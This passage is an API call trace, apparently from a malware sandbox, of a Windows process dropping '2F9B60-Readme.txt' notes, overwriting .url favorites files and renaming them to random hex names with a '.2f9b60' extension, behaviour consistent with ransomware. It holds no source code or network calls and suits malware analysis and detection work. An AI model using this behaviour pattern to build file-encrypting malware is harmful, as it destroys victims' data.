(hObject=0xebc) returned 1 [0114.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b784130 [0114.162] wcscpy (in: _Dest=0x1b784130, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0114.162] wcscat (in: _Dest=0x1b784130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" [0114.162] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\2f9b60-readme.txt")) returned 0xffffffff [0114.162] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xebc [0114.163] WriteFile (in: hFile=0xebc, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x377bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x377bfcb0*=0xba9, lpOverlapped=0x0) returned 1 [0114.164] CloseHandle (hObject=0xebc) returned 1 [0114.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784130) returned 1 [0114.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4dad0) returned 1 Thread: id = 1196 os_tid = 0xd04 [0114.167] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url")) returned 0x20 [0114.168] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", dwFileAttributes=0x20) returned 1 [0114.168] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xebc [0114.169] GetFileSizeEx (in: hFile=0xebc, lpFileSize=0x37c7f840 | out: lpFileSize=0x37c7f840*=133) returned 1 [0114.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c10 [0114.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8598b0 [0114.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859fd0 [0114.169] NtQuerySystemTime (in: CurrentTime=0x37c7f700 | out: CurrentTime=0x37c7f700*=132462177196282000) returned 0x0 [0114.169] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0xf1e92d0 [0114.169] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0xcf4674f [0114.169] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x2e43fa0d [0114.169] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x739370cf [0114.169] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x27614c2b [0114.169] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x4cea1fd3 [0114.169] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x2e52250b [0114.169] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x2409f86a [0114.169] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x1789c2e3 [0114.169] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x525e8df [0114.169] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x10d70562 [0114.169] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x71595bc [0114.169] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x713ea258 [0114.169] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x456e4509 [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x77cba65d [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x1a3f8b63 [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x552be997 [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x4555f0c7 [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x3e4d5525 [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x15807634 [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x89c2307 [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x6d921140 [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x251d3f24 [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x1e763c67 [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x6552c418 [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x136c429 [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x4ba61a5f [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x5810867d [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x9989584 [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x149d16b1 [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x35eb4ef1 [0114.170] RtlRandomEx (in: Seed=0x37c7f6f0 | out: Seed=0x37c7f6f0) returned 0x774c884a [0114.182] ReadFile (in: hFile=0xebc, lpBuffer=0x41c2a520, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x37c7f6f0, lpOverlapped=0x0 | out: lpBuffer=0x41c2a520*, lpNumberOfBytesRead=0x37c7f6f0*=0x85, lpOverlapped=0x0) returned 1 [0114.183] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.183] WriteFile (in: hFile=0xebc, lpBuffer=0x41c2e130*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x37c7f6f4, lpOverlapped=0x0 | out: lpBuffer=0x41c2e130*, lpNumberOfBytesWritten=0x37c7f6f4*=0x85, lpOverlapped=0x0) returned 1 [0114.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c10 [0114.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859fd0 [0114.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859fd0) returned 1 [0114.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c2e130) returned 1 [0114.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c2a520) returned 1 [0114.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1b82c350 [0114.187] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0114.187] WriteFile (in: hFile=0xebc, lpBuffer=0x1885d0*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x37c7f810, lpOverlapped=0x0 | out: lpBuffer=0x1885d0*, lpNumberOfBytesWritten=0x37c7f810*=0x12a, lpOverlapped=0x0) returned 1 [0114.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0114.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ab40 [0114.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ab40) returned 1 [0114.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cda0170 [0114.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ab40 [0114.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859b20 [0114.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859b20) returned 1 [0114.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0114.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x71) returned 0x1b868d40 [0114.189] sprintf (in: _Dest=0x1b868d40, _Format="%c%c" | out: _Dest="7a") returned 2 [0114.189] sprintf (in: _Dest=0x1b868d42, _Format="%c%c" | out: _Dest="6c") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d44, _Format="%c%c" | out: _Dest="90") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d46, _Format="%c%c" | out: _Dest="e4") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d48, _Format="%c%c" | out: _Dest="8c") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d4a, _Format="%c%c" | out: _Dest="a3") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d4c, _Format="%c%c" | out: _Dest="6b") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d4e, _Format="%c%c" | out: _Dest="f4") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d50, _Format="%c%c" | out: _Dest="57") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d52, _Format="%c%c" | out: _Dest="14") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d54, _Format="%c%c" | out: _Dest="5a") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d56, _Format="%c%c" | out: _Dest="d9") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d58, _Format="%c%c" | out: _Dest="6d") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d5a, _Format="%c%c" | out: _Dest="84") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d5c, _Format="%c%c" | out: _Dest="33") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d5e, _Format="%c%c" | out: _Dest="5d") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d60, _Format="%c%c" | out: _Dest="33") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d62, _Format="%c%c" | out: _Dest="74") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d64, _Format="%c%c" | out: _Dest="89") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d66, _Format="%c%c" | out: _Dest="3c") returned 2 [0114.190] sprintf (in: _Dest=0x1b868d68, _Format="%c%c" | out: _Dest="49") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d6a, _Format="%c%c" | out: _Dest="9f") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d6c, _Format="%c%c" | out: _Dest="84") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d6e, _Format="%c%c" | out: _Dest="5e") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d70, _Format="%c%c" | out: _Dest="ed") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d72, _Format="%c%c" | out: _Dest="39") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d74, _Format="%c%c" | out: _Dest="4e") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d76, _Format="%c%c" | out: _Dest="d3") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d78, _Format="%c%c" | out: _Dest="a4") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d7a, _Format="%c%c" | out: _Dest="06") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d7c, _Format="%c%c" | out: _Dest="87") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d7e, _Format="%c%c" | out: _Dest="20") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d80, _Format="%c%c" | out: _Dest="65") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d82, _Format="%c%c" | out: _Dest="9e") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d84, _Format="%c%c" | out: _Dest="d2") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d86, _Format="%c%c" | out: _Dest="1a") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d88, _Format="%c%c" | out: _Dest="f4") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d8a, _Format="%c%c" | out: _Dest="29") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d8c, _Format="%c%c" | out: _Dest="e9") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d8e, _Format="%c%c" | out: _Dest="b6") returned 2 [0114.191] sprintf (in: _Dest=0x1b868d90, _Format="%c%c" | out: _Dest="f0") returned 2 [0114.192] sprintf (in: _Dest=0x1b868d92, _Format="%c%c" | out: _Dest="a4") returned 2 [0114.192] sprintf (in: _Dest=0x1b868d94, _Format="%c%c" | out: _Dest="39") returned 2 [0114.192] sprintf (in: _Dest=0x1b868d96, _Format="%c%c" | out: _Dest="4a") returned 2 [0114.192] sprintf (in: _Dest=0x1b868d98, _Format="%c%c" | out: _Dest="aa") returned 2 [0114.192] sprintf (in: _Dest=0x1b868d9a, _Format="%c%c" | out: _Dest="0b") returned 2 [0114.192] sprintf (in: _Dest=0x1b868d9c, _Format="%c%c" | out: _Dest="eb") returned 2 [0114.192] sprintf (in: _Dest=0x1b868d9e, _Format="%c%c" | out: _Dest="c7") returned 2 [0114.192] sprintf (in: _Dest=0x1b868da0, _Format="%c%c" | out: _Dest="11") returned 2 [0114.192] sprintf (in: _Dest=0x1b868da2, _Format="%c%c" | out: _Dest="5f") returned 2 [0114.192] sprintf (in: _Dest=0x1b868da4, _Format="%c%c" | out: _Dest="48") returned 2 [0114.192] sprintf (in: _Dest=0x1b868da6, _Format="%c%c" | out: _Dest="11") returned 2 [0114.192] sprintf (in: _Dest=0x1b868da8, _Format="%c%c" | out: _Dest="23") returned 2 [0114.192] sprintf (in: _Dest=0x1b868daa, _Format="%c%c" | out: _Dest="1c") returned 2 [0114.192] sprintf (in: _Dest=0x1b868dac, _Format="%c%c" | out: _Dest="ff") returned 2 [0114.192] sprintf (in: _Dest=0x1b868dae, _Format="%c%c" | out: _Dest="2a") returned 2 [0114.192] RtlInitAnsiString (in: DestinationString=0x37c7f888, SourceString="7a6c90e48ca36bf457145ad96d84335d3374893c499f845eed394ed3a4068720659ed21af429e9b6f0a4394aaa0bebc7115f4811231cff2a" | out: DestinationString="7a6c90e48ca36bf457145ad96d84335d3374893c499f845eed394ed3a4068720659ed21af429e9b6f0a4394aaa0bebc7115f4811231cff2a") [0114.192] RtlAnsiStringToUnicodeString (in: DestinationString=0x37c7f858, SourceString="7a6c90e48ca36bf457145ad96d84335d3374893c499f845eed394ed3a4068720659ed21af429e9b6f0a4394aaa0bebc7115f4811231cff2a", AllocateDestinationString=1 | out: DestinationString="7a6c90e48ca36bf457145ad96d84335d3374893c499f845eed394ed3a4068720659ed21af429e9b6f0a4394aaa0bebc7115f4811231cff2a") returned 0x0 [0114.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b799340 [0114.193] wcscat (in: _Dest=0x1b861f90, _Source="7a6c90e48ca36bf457145ad96d84" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\7a6c90e48ca36bf457145ad96d84") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\7a6c90e48ca36bf457145ad96d84" [0114.193] wcscat (in: _Dest=0x1b861f90, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\7a6c90e48ca36bf457145ad96d84.2f9b60") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\7a6c90e48ca36bf457145ad96d84.2f9b60" [0114.193] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\7a6c90e48ca36bf457145ad96d84.2f9b60", NtPathName=0x37c7f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\7a6c90e48ca36bf457145ad96d84.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0114.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118880 [0114.193] NtSetInformationFile (FileHandle=0xebc, IoStatusBlock=0x37c7f8d0, FileInformation=0x118880, Length=0xc2, FileInformationClass=0xa) returned 0x0 [0114.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118880) returned 1 [0114.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0114.195] NtQueryInformationFile (in: FileHandle=0xebc, IoStatusBlock=0x37c7f898, FileInformation=0x37c7f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x37c7f898, FileInformation=0x37c7f8a8) returned 0x0 [0114.195] NtSetInformationFile (FileHandle=0xebc, IoStatusBlock=0x37c7f898, FileInformation=0x37c7f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0114.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861f90) returned 1 [0114.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799340) returned 1 [0114.198] FlushFileBuffers (hFile=0xebc) returned 1 [0114.201] CloseHandle (hObject=0xebc) returned 1 [0114.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4dad0 [0114.205] wcscpy (in: _Dest=0x1cf4dad0, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0114.205] wcscat (in: _Dest=0x1cf4dad0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" [0114.205] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\2f9b60-readme.txt")) returned 0x20 [0114.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4dad0) returned 1 [0114.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 Thread: id = 1197 os_tid = 0xd08 [0114.209] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url")) returned 0x20 [0114.210] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url", dwFileAttributes=0x20) returned 1 [0114.211] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xebc [0114.211] GetFileSizeEx (in: hFile=0xebc, lpFileSize=0x35bbf720 | out: lpFileSize=0x35bbf720*=133) returned 1 [0114.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9220 [0114.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262450 [0114.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0114.212] NtQuerySystemTime (in: CurrentTime=0x35bbf5e0 | out: CurrentTime=0x35bbf5e0*=132462177196750000) returned 0x0 [0114.212] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x39a75834 [0114.212] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x3fe1bd76 [0114.212] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x65058944 [0114.212] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x652eab05 [0114.212] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0xfcbefe [0114.212] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0xaa3b5f8 [0114.212] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x47eaf6a8 [0114.212] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x3221825d [0114.212] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x59355ac8 [0114.212] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x77d3b2ac [0114.212] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x3832fe7c [0114.212] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x773251f6 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x244e1a78 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x717aa7e9 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0xc348cbd [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x7c82da32 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0xda476a5 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x4dbe6fd1 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x1dba3b0f [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x74ea3b0e [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x51c14434 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x6409c304 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0xf104620 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x2cddda11 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x4a5ec7f1 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x6c02936 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x17ff526d [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x63d4b534 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x10987bd6 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x7cdc82d1 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x318aa781 [0114.213] RtlRandomEx (in: Seed=0x35bbf5d0 | out: Seed=0x35bbf5d0) returned 0x59b3cdf5 [0114.336] ReadFile (in: hFile=0xebc, lpBuffer=0x41c2a520, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x35bbf5d0, lpOverlapped=0x0 | out: lpBuffer=0x41c2a520*, lpNumberOfBytesRead=0x35bbf5d0*=0x85, lpOverlapped=0x0) returned 1 [0114.337] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.337] WriteFile (in: hFile=0xebc, lpBuffer=0x41c2e130*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x35bbf5d4, lpOverlapped=0x0 | out: lpBuffer=0x41c2e130*, lpNumberOfBytesWritten=0x35bbf5d4*=0x85, lpOverlapped=0x0) returned 1 [0114.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9340 [0114.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9370 [0114.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9370) returned 1 [0114.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c2e130) returned 1 [0114.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c2a520) returned 1 [0114.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cda0170 [0114.547] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0114.547] WriteFile (in: hFile=0xebc, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x35bbf6f0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x35bbf6f0*=0x11c, lpOverlapped=0x0) returned 1 [0114.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a93d0 [0114.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a93d0) returned 1 [0114.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cda0230 [0114.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a93d0 [0114.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9220 [0114.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9220) returned 1 [0114.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9d610 [0114.551] sprintf (in: _Dest=0x1cd9d610, _Format="%c%c" | out: _Dest="d9") returned 2 [0114.551] sprintf (in: _Dest=0x1cd9d612, _Format="%c%c" | out: _Dest="58") returned 2 [0114.551] sprintf (in: _Dest=0x1cd9d614, _Format="%c%c" | out: _Dest="48") returned 2 [0114.551] sprintf (in: _Dest=0x1cd9d616, _Format="%c%c" | out: _Dest="b5") returned 2 [0114.551] sprintf (in: _Dest=0x1cd9d618, _Format="%c%c" | out: _Dest="32") returned 2 [0114.551] sprintf (in: _Dest=0x1cd9d61a, _Format="%c%c" | out: _Dest="80") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d61c, _Format="%c%c" | out: _Dest="0f") returned 2 [0114.552] sprintf (in: 